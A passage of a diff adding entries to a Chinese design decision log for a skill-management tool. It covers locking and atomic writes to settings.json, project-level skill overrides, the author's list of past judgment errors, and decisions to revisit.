+ **背景**:D-13 讨论中发现,"状态存哪"其实不是 Web 接入的主要风险,**并发写才是**。
332
+
333
+ **实测**:8 个进程并发对 `settings.json` 做 read-modify-write——
334
+
335
+ ```
336
+ 无锁 → 8 条改动只活下来 1 条(丢了 7 条)
337
+ 加锁 → 8 条完整保留
338
+ ```
339
+
340
+ Web 下极易触发:快速连点几个开关,或一边点网页一边跑 CLI。
341
+ 表现为**"我明明关了它,刷新后又开着"**,极难复现定位。
342
+
343
+ **关键认识:换数据库救不了这个问题。** 最终仍要写 `settings.json`(CC 只读它),
344
+ 数据库只会多一个写入点和一处可能不一致的地方。所以正确方向是加锁与原子写,不是换存储。
345
+
346
+ **最终方案**:`set_state()` 三条硬要求——
347
+
348
+ 1. 文件锁:`os.open(lock, O_CREAT|O_EXCL|O_WRONLY)`,跨平台原子,无需
349
+ `fcntl` / `msvcrt` 分支(已实测)
350
+ 2. 原子替换:写临时文件 + `os.replace()`。直接覆写若中途崩溃会留下半截 JSON,
351
+ **CC 将完全无法读 settings**
352
+ 3. 只改 `skillOverrides` 键,其余用户配置原样保留
353
+
354
+ ---
355
+
356
+ ## D-15 全局 skill 的项目级覆盖(不建项目 link)
357
+
358
+ **提出的问题**:某个 skill 已经全局安装了,还想**只在某一个项目里**关掉它
359
+ (或降为 name-only),怎么办?
360
+
361
+ **为什么之前做不到**:两条路都堵死。`add --project` 会撞 store 已存在(`kit 已安装`);
362
+ `disable foo --project` 靠 `find_skill(..., "project")` 定位,而它要求项目根在
363
+ `known_scopes` 里——全局 kit 的 `known_scopes` 只有 `"global"`,没有这个项目,直接报
364
+ "不在 registry 中"。
365
+
366
+ **最终方案**:全局 kit 的 skill 在项目作用域开关时,**不建、不删项目 link**,只写该项目
367
+ `settings.local.json` 的 `skillOverrides`,并把项目根记入一个**新字段** `override_scopes`。
368
+
369
+ - `off` / `name-only` → 写覆盖 + 记 `override_scopes`;
370
+ - `enabled` / `installed` → 清掉覆盖、回到"跟随全局"(全局 skill 在项目里没有独立 link
371
+ 可删,两者在此等价)。
372
+
373
+ **为什么用 `override_scopes` 而不是塞进 `known_scopes`**:`known_scopes` 语义是"**安装过**",
374
+ 它喂给 `find_skill` 的作用域消歧和 `list_skills` 的 installed 归属。若把"只是被项目覆盖过"
375
+ 的根混进去,会把一个全局 kit 误判成项目 kit——同名 skill 消歧会指错 kit,`list` 也会把全局
376
+ skill 报成项目安装。所以刻意分列:`override_scopes` 只给 `remove` 一份"去哪些项目清
377
+ `settings.local.json` 残留"的索引,不参与任何作用域定位。
378
+
379
+ **读回路径的守卫**:`list_skills` 补项目级条目时,只对"项目作用域**无同名 kit**"的全局
380
+ skill 补。若项目里真有同名项目 kit,该覆盖是写给项目 kit 的(`set_state` 定位顺序先项目后
381
+ 全局),不能误归属到全局 kit。
382
+
383
+ **已知取舍**:这条没有让"全局 skill 在项目里**强制开启**"成为可表达的状态——`enable
384
+ --project` 与 `installed --project` 一样是清覆盖。要"全局 off 但本项目 on"属于罕见需求,
385
+ 且 `skillOverrides` 的项目层覆盖能否压过全局层的 off 尚未验证,不主动提供。
386
+
387
+ ---
388
+
389
+ ## 我的判断失误汇总
390
+
391
+ 集中列出,便于后续开发者校准对本文档其余部分的信任度:
392
+
393
+ | # | 失误 | 性质 | 修正处 |
394
+ |---|---|---|---|
395
+ | 1 | 断言"无 skill 粒度开关" | 搜错键名(实为 `skillOverrides`) | D-03 |
396
+ | 2 | 建议 `os.rmdir()` 删链接 | Windows-only 经验当通用知识 | D-08 |
397
+ | 3 | manifest 写 winget-only hint | 同上 | D-08 |
398
+ | 4 | 完全漏掉清单预算约束 | 设计级遗漏,非细节 | D-12 |
399
+ | 5 | 建议 subprocess 调 `mklink` | 多余(标准库已有) | D-10 |
400
+ | 6 | 未抽出状态读写层 | 架构层遗漏,被 Web 需求问出来 | D-13 |
401
+ | 7 | 未考虑并发写 | 遗漏,且是 Web 下最难定位的一类 bug | D-14 |
402
+
403
+ 前三条的共同点:**"我验证过"和"我搜过但没找到"都会伪装成确定性。**
404
+ 对策是[06](06-platform-findings.md)只记录实跑结论,并保留"待验证清单"。
405
+
406
+ ---
407
+
408
+ ## 待重审的决策
409
+
410
+ 以下决策当时有明确理由,但值得在特定信号出现时重新评估:
411
+
412
+ | 决策 | 重审信号 |
413
+ |---|---|
414
+ | `disable` 默认写 `skillOverrides` | 若 CC 变更或废弃该键 → 退回纯 link 方案 |
415
+ | 每 skill 一个独立 venv | 若实测磁盘占用超预期(uv 有全局缓存,应可控) |
416
+ | 启用状态不加缓存 | 若 skill 数量级远超 200 且扫描成为瓶颈;只改 `state.py` 内部 |
417
+ | manifest 用 YAML | 若最终能做到零第三方依赖,`tomllib` 可省一个依赖 |
418
+ | 同名冲突仅警告 | 若实际使用中频繁踩到 → 考虑命名空间,但会破坏"name 必须等于目录名" |
419
+ | 不做真实沙箱 | 若出现恶意 kit 案例 → 重新评估代价 |